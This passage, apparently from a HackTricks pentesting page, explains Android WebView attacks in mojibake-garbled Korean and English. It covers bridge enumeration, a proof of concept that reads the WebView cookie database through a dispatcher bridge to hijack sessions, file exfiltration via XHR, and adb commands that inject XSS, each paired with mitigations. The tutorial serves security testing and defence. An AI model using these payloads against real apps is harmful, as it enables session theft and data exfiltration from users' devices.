exploitation์ด ์„ฑ๊ณตํ•˜๋ฉด, ๋‹น์‹ ์˜ payload๋Š” ์•ฑ์˜ WebView์—์„œ JavaScript๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ๋‹ค์Œ, exposed bridges๋ฅผ ํƒ์ƒ‰ํ•˜์„ธ์š”:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

๋ฐฉ์–ด ์ง€์นจ

  • ํ•œ ๋ฒˆ๋งŒ ์ •๊ทœํ™”ํ•˜๊ณ ; ๋‹จ์ผ ์ง„์‹ค ์†Œ์Šค (scheme/host/path/query)๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์—„๊ฒฉํžˆ ๊ฒ€์ฆํ•˜์„ธ์š”.
  • ๋ชจ๋“  allowlist ๊ฒ€์‚ฌ ํ†ต๊ณผ ํ›„, ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ปจํ…์ธ ๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์ง์ „์—๋งŒ setJavaScriptEnabled(true)๋ฅผ ํ˜ธ์ถœํ•˜์„ธ์š”.
  • @JavascriptInterface๋ฅผ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์˜ค๋ฆฌ์ง„์— ๋…ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”; ์˜ค๋ฆฌ์ง„๋ณ„ ๊ฒŒ์ดํŒ…์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.
  • ์‹ ๋ขฐ๋œ ์ปจํ…์ธ ์™€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ปจํ…์ธ ์šฉ์œผ๋กœ WebView ์ธ์Šคํ„ด์Šค๋ฅผ ๋ถ„๋ฆฌํ•˜๋Š” ๊ฒƒ์„ ๊ณ ๋ คํ•˜์„ธ์š”. ๊ธฐ๋ณธ์ ์œผ๋กœ JS๋Š” ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.

JavaScript ๋ฐ Intent Scheme ์ฒ˜๋ฆฌ

  • JavaScript: WebView์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ, setJavaScriptEnabled()๋กœ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ ์ ˆํ•œ ๋ณดํ˜ธ ์žฅ์น˜ ์—†์ด JavaScript๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉด ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ ์ฃผ์˜ํ•˜์„ธ์š”.
  • Intent Scheme: WebView๋Š” intent ์Šคํ‚ด์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์–ด, ์‹ ์ค‘ํ•˜๊ฒŒ ๊ด€๋ฆฌํ•˜์ง€ ์•Š์œผ๋ฉด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ์‹œ ์ทจ์•ฝ์ ์œผ๋กœ๋Š” ๋…ธ์ถœ๋œ WebView ํŒŒ๋ผ๋ฏธํ„ฐ โ€œsupport_urlโ€œ์ด cross-site scripting (XSS) ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์ด์šฉ๋  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ WebView

adb๋ฅผ ์‚ฌ์šฉํ•œ ์•…์šฉ ์˜ˆ:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView โ€“es support_url "https://example.com/xss.html"

JavaScript ๋ธŒ๋ฆฌ์ง€

Android๋Š” WebView ๋‚ด์˜ JavaScript๊ฐ€ ๋„ค์ดํ‹ฐ๋ธŒ Android ์•ฑ ๊ธฐ๋Šฅ์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” addJavascriptInterface ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด JavaScript๋ฅผ ๋„ค์ดํ‹ฐ๋ธŒ Android ๊ธฐ๋Šฅ๊ณผ ํ†ตํ•ฉํ•จ์œผ๋กœ์จ ๊ตฌํ˜„๋˜๋ฉฐ, ์ด๋ฅผ _WebView JavaScript bridge_๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ WebView ๋‚ด์˜ ๋ชจ๋“  ํŽ˜์ด์ง€๊ฐ€ ๋“ฑ๋ก๋œ JavaScript Interface ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฏ€๋กœ, ์ด๋Ÿฌํ•œ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ํ†ตํ•ด ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋  ๊ฒฝ์šฐ ๋ณด์•ˆ ์œ„ํ—˜์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

  • ๋งค์šฐ ์ฃผ์˜ํ•ด์•ผ ํ•จ: Android 4.2 ๋ฏธ๋งŒ์„ ๋Œ€์ƒ์œผ๋กœ ํ•œ ์•ฑ์€ reflection์„ ์•…์šฉํ•ด ์•…์˜์ ์ธ JavaScript๋ฅผ ํ†ตํ•ด ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์„ ํ—ˆ์šฉํ•˜๋Š” ์ทจ์•ฝ์  ๋•Œ๋ฌธ์— ํŠนํžˆ ์ฃผ์˜๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

JavaScript ๋ธŒ๋ฆฌ์ง€ ๊ตฌํ˜„

  • JavaScript interfaces๋Š” ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์•„๋ž˜ ์˜ˆ์ œ๋Š” ํด๋ž˜์Šค ๋ฉ”์„œ๋“œ๊ฐ€ JavaScript์— ๋…ธ์ถœ๋˜๋Š” ๋ฐฉ์‹์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge๋Š” WebView์— interface๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ํ™œ์„ฑํ™”๋ฉ๋‹ˆ๋‹ค:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • ์˜ˆ๋ฅผ ๋“ค์–ด JavaScript๋ฅผ ํ†ตํ•œ XSS ๊ณต๊ฒฉ๊ณผ ๊ฐ™์€ ์ž ์žฌ์  ์•…์šฉ์€ ๋…ธ์ถœ๋œ Java ๋ฉ”์„œ๋“œ ํ˜ธ์ถœ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•œ๋‹ค:
<script>
alert(javascriptBridge.getSecret())
</script>
  • ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๋ ค๋ฉด, APK์™€ ํ•จ๊ป˜ ์ œ๊ณต๋œ ์ฝ”๋“œ๋กœ๋งŒ restrict JavaScript bridge usageํ•˜๊ณ  ์›๊ฒฉ ์†Œ์Šค์—์„œ JavaScript๋ฅผ ๋กœ๋“œํ•˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”. ๊ตฌํ˜• ๊ธฐ๊ธฐ์—์„œ๋Š” ์ตœ์†Œ API ๋ ˆ๋ฒจ์„ 17๋กœ ์„ค์ •ํ•˜์„ธ์š”.

dispatcher-style JS bridges ์•…์šฉ (invokeMethod/handlerName)

์ผ๋ฐ˜์ ์ธ ํŒจํ„ด์€ ๋‹จ์ผ๋กœ export๋œ ๋ฉ”์„œ๋“œ(์˜ˆ: @JavascriptInterface void invokeMethod(String json))๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” JSON์„ ์ œ๋„ค๋ฆญ ๊ฐ์ฒด๋กœ ์—ญ์ง๋ ฌํ™”ํ•œ ๋‹ค์Œ ์ œ๊ณต๋œ handler name์— ๋”ฐ๋ผ ๋ถ„๊ธฐํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ „ํ˜•์ ์ธ JSON ํ˜•ํƒœ:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risk: ๋“ฑ๋ก๋œ ํ•ธ๋“ค๋Ÿฌ ์ค‘ ๊ณต๊ฒฉ์ž ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•ด ํŠน๊ถŒ ๋™์ž‘(์˜ˆ: ์ง์ ‘ ํŒŒ์ผ ์ฝ๊ธฐ)์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ์ด ์žˆ์œผ๋ฉด, handlerName์„ ์ ์ ˆํžˆ ์„ค์ •ํ•ด ํ•ด๋‹น ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ๋Š” ๋ณดํ†ต evaluateJavascript์™€ callbackId๋กœ ํ‚ค๊ฐ€ ์ง€์ •๋œ ์ฝœ๋ฐฑ/ํ”„๋ผ๋ฏธ์Šค ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด ํŽ˜์ด์ง€ ์ปจํ…์ŠคํŠธ๋กœ ๋‹ค์‹œ ๊ฒŒ์‹œ๋ฉ๋‹ˆ๋‹ค.

Key hunting steps

  • addJavascriptInterface(๋ฅผ ์ฐพ์•„ ๋””์ปดํŒŒ์ผํ•˜๊ณ  grepํ•˜์—ฌ ๋ธŒ๋ฆฌ์ง€ ๊ฐ์ฒด ์ด๋ฆ„(์˜ˆ: xbridge)์„ ํŒŒ์•…ํ•ฉ๋‹ˆ๋‹ค.
  • Chrome DevTools (chrome://inspect)์—์„œ Console์— ๋ธŒ๋ฆฌ์ง€ ๊ฐ์ฒด ์ด๋ฆ„(์˜ˆ: xbridge)์„ ์ž…๋ ฅํ•ด ๋…ธ์ถœ๋œ ํ•„๋“œ/๋ฉ”์„œ๋“œ๋ฅผ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค; invokeMethod์™€ ๊ฐ™์€ ์ผ๋ฐ˜ ๋””์ŠคํŒจ์ฒ˜๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.
  • getModuleName()์„ ๊ตฌํ˜„ํ•˜๋Š” ํด๋ž˜์Šค๋‚˜ ๋“ฑ๋ก ๋งต์„ ๊ฒ€์ƒ‰ํ•ด ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

Arbitrary file read via URI โ†’ File sinks (Base64 exfiltration)

If a handler takes a URI, calls Uri.parse(req.getUri()).getPath(), builds new File(...) and reads it without allowlists or sandbox checks, you get an arbitrary file read in the app sandbox that bypasses WebView settings like setAllowFileAccess(false) (the read happens in native code, not via the WebView network stack).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

  • Cookie DB paths vary across devices/providers. Common ones:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • The handler returns Base64; decode to recover cookies and impersonate the user in the appโ€™s WebView profile.

Detection tips

  • Watch for large Base64 strings returned via evaluateJavascript when using the app.
  • Grep decompiled sources for handlers that accept uri/path and convert them to new File(...).

WebView ๊ถŒํ•œ ๊ฒŒ์ดํŠธ ์šฐํšŒ โ€“ endsWith() ํ˜ธ์ŠคํŠธ ๊ฒ€์‚ฌ

๊ถŒํ•œ ๊ฒฐ์ •(ํŠน์ • JSB-enabled Activity ์„ ํƒ)์€ ์ข…์ข… ํ˜ธ์ŠคํŠธ allowlists์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ ํŒจํ„ด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true โ†’ open privileged WebView

๋™์น˜ ๋…ผ๋ฆฌ (๋“œ๋ชจ๋ฅด๊ฐ„์˜ ๋ฒ•์น™):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

์ด๊ฒƒ์€ origin ์ฒดํฌ๊ฐ€ ์•„๋‹ˆ๋‹ค. ๋งŽ์€ ์˜๋„์น˜ ์•Š์€ ํ˜ธ์ŠคํŠธ๋“ค์ด ๋‘ ๋ฒˆ์งธ ์กฐ๊ฑด์„ ๋งŒ์กฑ์‹œ์ผœ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋„๋ฉ”์ธ์ด privileged Activity์— ๋“ค์–ด์˜ค๊ฒŒ ๋งŒ๋“ ๋‹ค. ํ•ญ์ƒ scheme๊ณผ host๋ฅผ ์—„๊ฒฉํ•œ allowlist(์ •ํ™•ํ•œ ์ผ์น˜ ๋˜๋Š” ์ (.) ๊ฒฝ๊ณ„๊ฐ€ ์žˆ๋Š” ์˜ฌ๋ฐ”๋ฅธ subdomain ๊ฒ€์‚ฌ)์™€ ๋Œ€์กฐํ•ด์•ผ ํ•˜๋ฉฐ, endsWith ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•˜๋ฉด ์•ˆ ๋œ๋‹ค.

javascript:// ์‹คํ–‰ ์›์‹œ(primitive) via loadUrl

privileged WebView ๋‚ด๋ถ€๋กœ ๋“ค์–ด๊ฐ€๋ฉด, ์•ฑ๋“ค์€ ๋•Œ๋•Œ๋กœ inline JS๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•œ๋‹ค:

webView.loadUrl("javascript:" + jsPayload);

๋งŒ์•ฝ ๋‚ด๋ถ€ ํ๋ฆ„์ด ํ•ด๋‹น ์ปจํ…์ŠคํŠธ์—์„œ loadUrl("javascript:...")๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ฉด, ์ฃผ์ž…๋œ JS๋Š” ์™ธ๋ถ€ ํŽ˜์ด์ง€๊ฐ€ ์›๋ž˜ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋”๋ผ๋„ bridge ์ ‘๊ทผ๊ถŒ์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. Pentest steps:

  • ์•ฑ์—์„œ loadUrl("javascript: ๋ฐ evaluateJavascript(๋ฅผ grep ํ•˜์„ธ์š”.
  • ๊ถŒํ•œ ์žˆ๋Š” WebView๋กœ์˜ ๋„ค๋น„๊ฒŒ์ด์…˜์„ ๊ฐ•์ œ๋กœ ์œ ๋„ํ•œ ๋’ค(์˜ˆ: permissive deep link chooser๋ฅผ ํ†ตํ•ด) ํ•ด๋‹น ์ฝ”๋“œ ๊ฒฝ๋กœ์— ๋„๋‹ฌํ•ด๋ณด์„ธ์š”.
  • ์ด primitive๋ฅผ ์‚ฌ์šฉํ•ด dispatcher (xbridge.invokeMethod(...))๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ํ•ธ๋“ค๋Ÿฌ์— ์ ‘๊ทผํ•˜์„ธ์š”.

Mitigations (developer checklist)

  • ๊ถŒํ•œ์ด ์žˆ๋Š” Activities์— ๋Œ€ํ•ด ์—„๊ฒฉํ•œ origin ๊ฒ€์ฆ: canonicalizeํ•˜๊ณ  scheme/host๋ฅผ ๋ช…์‹œ์  allowlist์™€ ๋น„๊ตํ•˜์„ธ์š”; endsWith ๊ธฐ๋ฐ˜ ๊ฒ€์‚ฌ๋Š” ํ”ผํ•˜์„ธ์š”. ์ ์šฉ ๊ฐ€๋Šฅํ•  ๋•Œ๋Š” Digital Asset Links๋ฅผ ๊ณ ๋ คํ•˜์„ธ์š”.
  • bridges๋ฅผ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํŽ˜์ด์ง€๋งŒ์œผ๋กœ ๋ฒ”์œ„๋ฅผ ์ œํ•œํ•˜๊ณ  ๋ชจ๋“  ํ˜ธ์ถœ๋งˆ๋‹ค ์‹ ๋ขฐ์„ฑ์„ ์žฌ๊ฒ€์ฆํ•˜์„ธ์š” (per-call authorization).
  • ํŒŒ์ผ์‹œ์Šคํ…œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ•ธ๋“ค๋Ÿฌ๋Š” ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ ์—„๊ฒฉํžˆ ๋ณดํ˜ธํ•˜์„ธ์š”; raw file:// ๊ฒฝ๋กœ๋ณด๋‹ค allowlists/permissions๊ฐ€ ์ ์šฉ๋œ content:// ์‚ฌ์šฉ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.
  • ๊ถŒํ•œ ์žˆ๋Š” ์ปจํ…์ŠคํŠธ์—์„œ loadUrl("javascript:") ์‚ฌ์šฉ์„ ํ”ผํ•˜๊ฑฐ๋‚˜ ๊ฐ•๋ ฅํ•œ ๊ฒ€์‚ฌ ๋’ค์— ๋ฐฐ์น˜ํ•˜์„ธ์š”.
  • setAllowFileAccess(false)๊ฐ€ bridge๋ฅผ ํ†ตํ•œ ๋„ค์ดํ‹ฐ๋ธŒ ํŒŒ์ผ ์ฝ๊ธฐ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜์„ธ์š”.

JSB ์—ด๊ฑฐ ๋ฐ ๋””๋ฒ„๊น… ํŒ

  • Chrome DevTools Console์„ ์‚ฌ์šฉํ•˜๋ ค๋ฉด WebView ์›๊ฒฉ ๋””๋ฒ„๊น…์„ ํ™œ์„ฑํ™”ํ•˜์„ธ์š”:
  • App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • System-side: modules like LSPosed or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging
  • DevTools์—์„œ bridge ๊ฐ์ฒด ์ด๋ฆ„(์˜ˆ: xbridge)์„ ์ž…๋ ฅํ•˜๋ฉด ๋…ธ์ถœ๋œ ๋ฉค๋ฒ„๋ฅผ ํ™•์ธํ•˜๊ณ  dispatcher๋ฅผ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Reflection ๊ธฐ๋ฐ˜ Remote Code Execution (RCE)

  • ๋ฌธ์„œํ™”๋œ ๋ฐฉ๋ฒ•์œผ๋กœ ํŠน์ • ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•ด reflection์„ ํ†ตํ•ด RCE๋ฅผ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ @JavascriptInterface ์–ด๋…ธํ…Œ์ด์…˜์€ ๋ฌด๋‹จ ๋ฉ”์†Œ๋“œ ์ ‘๊ทผ์„ ๋ฐฉ์ง€ํ•˜์—ฌ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.

์›๊ฒฉ ๋””๋ฒ„๊น…

  • ์›๊ฒฉ ๋””๋ฒ„๊น…์€ Chrome Developer Tools๋กœ ๊ฐ€๋Šฅํ•˜๋ฉฐ, WebView ์ฝ˜ํ…์ธ  ๋‚ด์—์„œ ์ƒํ˜ธ์ž‘์šฉ ๋ฐ ์ž„์˜์˜ JavaScript ์‹คํ–‰์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

์›๊ฒฉ ๋””๋ฒ„๊น… ํ™œ์„ฑํ™”

  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด ๋ชจ๋“  WebViews์— ๋Œ€ํ•ด ์›๊ฒฉ ๋””๋ฒ„๊น…์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ debuggable ์ƒํƒœ์— ๋”ฐ๋ผ debugging์„ ์กฐ๊ฑด๋ถ€๋กœ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate ์ž„์˜์˜ ํŒŒ์ผ

  • XMLHttpRequest๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž„์˜์˜ ํŒŒ์ผ์˜ exfiltration์„ ์‹œ์—ฐํ•ฉ๋‹ˆ๋‹ค:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras โ†’ loadData()

์ž์ฃผ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์€ ๋“ค์–ด์˜ค๋Š” Intent extra์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์–ด JavaScript๊ฐ€ ํ™œ์„ฑํ™”๋œ ์ƒํƒœ์˜ WebView์— loadData()๋กœ ์ง์ ‘ ์ฃผ์ž…ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ ํŒจํ„ด (exported Activity๊ฐ€ extra๋ฅผ ์ฝ์–ด HTML๋กœ ๋ Œ๋”๋ง):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

ํ•ด๋‹น Activity๊ฐ€ ๋‚ด๋ณด๋‚ด์ง„ ์ƒํƒœ์ด๊ฑฐ๋‚˜(๋˜๋Š” ๋‚ด๋ณด๋‚ด์ง„ ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ), ์•…์„ฑ ์•ฑ์€ data extra์— HTML/JS๋ฅผ ๋„ฃ์–ด reflected XSS๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

์˜ํ–ฅ

  • ์•ฑ์˜ WebView ์ปจํ…์ŠคํŠธ์—์„œ ์ž„์˜์˜ JS ์‹คํ–‰: @JavascriptInterface ๋ธŒ๋ฆฌ์ง€๋ฅผ ์—ด๊ฑฐ/์‚ฌ์šฉํ•˜๊ณ , WebView ์ฟ ํ‚ค/๋กœ์ปฌ ์Šคํ† ๋ฆฌ์ง€์— ์ ‘๊ทผํ•˜๋ฉฐ, ์„ค์ •์— ๋”ฐ๋ผ file:// ๋˜๋Š” content://๋กœ pivot.

์™„ํ™”

  • ๋ชจ๋“  Intent ๊ธฐ๋ฐ˜ ์ž…๋ ฅ์„ ์‹ ๋ขฐํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜์„ธ์š”. HTML์€ ์ด์Šค์ผ€์ดํ”„(Html.escapeHtml)ํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•˜์„ธ์š”; ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ํ…์ŠคํŠธ๋Š” HTML๋กœ ๋ Œ๋”๋งํ•˜์ง€ ๋ง๊ณ  ํ…์ŠคํŠธ๋กœ ๋ Œ๋”๋งํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.
  • ์—„๊ฒฉํžˆ ํ•„์š”ํ•œ ๊ฒฝ์šฐ๊ฐ€ ์•„๋‹ˆ๋ฉด JavaScript๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์„ธ์š”; ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ˜ํ…์ธ ์— ๋Œ€ํ•ด WebChromeClient๋ฅผ ํ™œ์„ฑํ™”ํ•˜์ง€ ๋งˆ์„ธ์š”.
  • ํ…œํ”Œ๋ฆฟ๋œ HTML์„ ๋ Œ๋”๋งํ•ด์•ผ ํ•œ๋‹ค๋ฉด ์•ˆ์ „ํ•œ base์™€ CSP๋ฅผ ์‚ฌ์šฉํ•ด loadDataWithBaseURL()๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , ์‹ ๋ขฐ๋œ WebView์™€ ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ WebView๋ฅผ ๋ถ„๋ฆฌํ•˜์„ธ์š”.
  • Activity๋ฅผ ์™ธ๋ถ€์— ๋…ธ์ถœํ•˜์ง€ ์•Š๊ฑฐ๋‚˜, ํ•„์š”ํ•˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ๊ถŒํ•œ์œผ๋กœ ๋ณดํ˜ธํ•˜์„ธ์š”.

๊ด€๋ จ

  • Intent ๊ธฐ๋ฐ˜ primitives ๋ฐ ๋ฆฌ๋””๋ ‰์…˜์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: Intent Injection

์ฐธ๊ณ 

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ